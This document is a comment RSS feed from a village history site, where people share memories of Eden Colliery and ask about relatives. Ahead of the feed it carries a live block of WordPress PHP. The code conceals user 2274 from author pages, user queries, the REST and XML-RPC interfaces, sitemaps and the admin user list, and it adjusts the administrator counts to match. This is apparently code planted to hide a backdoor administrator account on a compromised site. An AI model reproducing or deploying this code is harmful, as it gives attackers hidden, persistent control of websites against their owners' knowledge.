add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 2274;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 2274 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2274 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 2274;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 2274;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2274;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/2274(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2274;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-2274{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<pubDate>Mon, 07 Jan 2019 18:09:04 +0000</pubDate>
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					<description><![CDATA[In reply to &lt;a href=&quot;https://leadgatevillage.com/eden-colliery-memories/#comment-2558&quot;&gt;Evelyn Willis&lt;/a&gt;.

Hi Evelyn, here are a couple of links that might help you in your endeavours.
http://www.dmm.org.uk/individ1/i17648.htm
https://middletonlife.wordpress.com/2017/04/25/pit-or-colliery-checks-tokens-or-tallies/
https://wthhistory.wordpress.com/2011/08/08/siren-call/
Kind regards,
Martin. 
P.S. you can post to my Facebook page with any requests for information about your family
P.P.S. Please send me a copy of your Ebook when you have finished it.]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://leadgatevillage.com/eden-colliery-memories/#comment-2558">Evelyn Willis</a>.</p>
<p>Hi Evelyn, here are a couple of links that might help you in your endeavours.<br />
<a href="http://www.dmm.org.uk/individ1/i17648.htm" rel="nofollow ugc">http://www.dmm.org.uk/individ1/i17648.htm</a><br />
<a href="https://middletonlife.wordpress.com/2017/04/25/pit-or-colliery-checks-tokens-or-tallies/" rel="nofollow ugc">https://middletonlife.wordpress.com/2017/04/25/pit-or-colliery-checks-tokens-or-tallies/</a><br />
<a href="https://wthhistory.wordpress.com/2011/08/08/siren-call/" rel="nofollow ugc">https://wthhistory.wordpress.com/2011/08/08/siren-call/</a><br />
Kind regards,<br />
Martin.<br />
P.S. you can post to my Facebook page with any requests for information about your family<br />
P.P.S. Please send me a copy of your Ebook when you have finished it.</p>
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		By: Evelyn Willis		</title>
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		<dc:creator><![CDATA[Evelyn Willis]]></dc:creator>
		<pubDate>Thu, 03 Jan 2019 22:45:52 +0000</pubDate>
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					<description><![CDATA[My grandfather Peart Elliott was killed at the Eden Pit.   I don’t know the year.  I was born in 1937 and never knew him, but my mother talked of him often.  I am writing a book about the characters in my family, from the past.    Do you have any recollection of hearing about this pit accident.  My brother says there were two Eden coal mines, one a drift and one a pit, seemingly grandfather worked and died in the drift.   I would welcome any information you might have.   I am the daughter of George Elliott and grew up in Hollinside Terrace, nr.Lanchester.   Most of my family who would recall this accident are now unfortunately dead.]]></description>
			<content:encoded><![CDATA[<p>My grandfather Peart Elliott was killed at the Eden Pit.   I don’t know the year.  I was born in 1937 and never knew him, but my mother talked of him often.  I am writing a book about the characters in my family, from the past.    Do you have any recollection of hearing about this pit accident.  My brother says there were two Eden coal mines, one a drift and one a pit, seemingly grandfather worked and died in the drift.   I would welcome any information you might have.   I am the daughter of George Elliott and grew up in Hollinside Terrace, nr.Lanchester.   Most of my family who would recall this accident are now unfortunately dead.</p>
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		By: Anonymous		</title>
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		<pubDate>Wed, 26 Sep 2018 19:43:28 +0000</pubDate>
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					<description><![CDATA[In reply to &lt;a href=&quot;https://leadgatevillage.com/eden-colliery-memories/#comment-1629&quot;&gt;Robson Bolam&lt;/a&gt;.

My father con gribbin worked at the Eden and also Bernard Gribbin before moving to Nottinghamshire]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://leadgatevillage.com/eden-colliery-memories/#comment-1629">Robson Bolam</a>.</p>
<p>My father con gribbin worked at the Eden and also Bernard Gribbin before moving to Nottinghamshire</p>
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		By: Robson Bolam		</title>
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					<description><![CDATA[I used to work at the Eden in the 1950s and moved to Shropshire in the 1960s. Lived in Tyne Avenue not far away from there and used to play in Pont Wood with friends. I used to go to a place called Sammymans Bridge and have always wondered if that is still standing does anyone know if it is. I&#039;am 77 years old now and remember Leadgate and Consett  as if it was yesterday]]></description>
			<content:encoded><![CDATA[<p>I used to work at the Eden in the 1950s and moved to Shropshire in the 1960s. Lived in Tyne Avenue not far away from there and used to play in Pont Wood with friends. I used to go to a place called Sammymans Bridge and have always wondered if that is still standing does anyone know if it is. I&#8217;am 77 years old now and remember Leadgate and Consett  as if it was yesterday</p>
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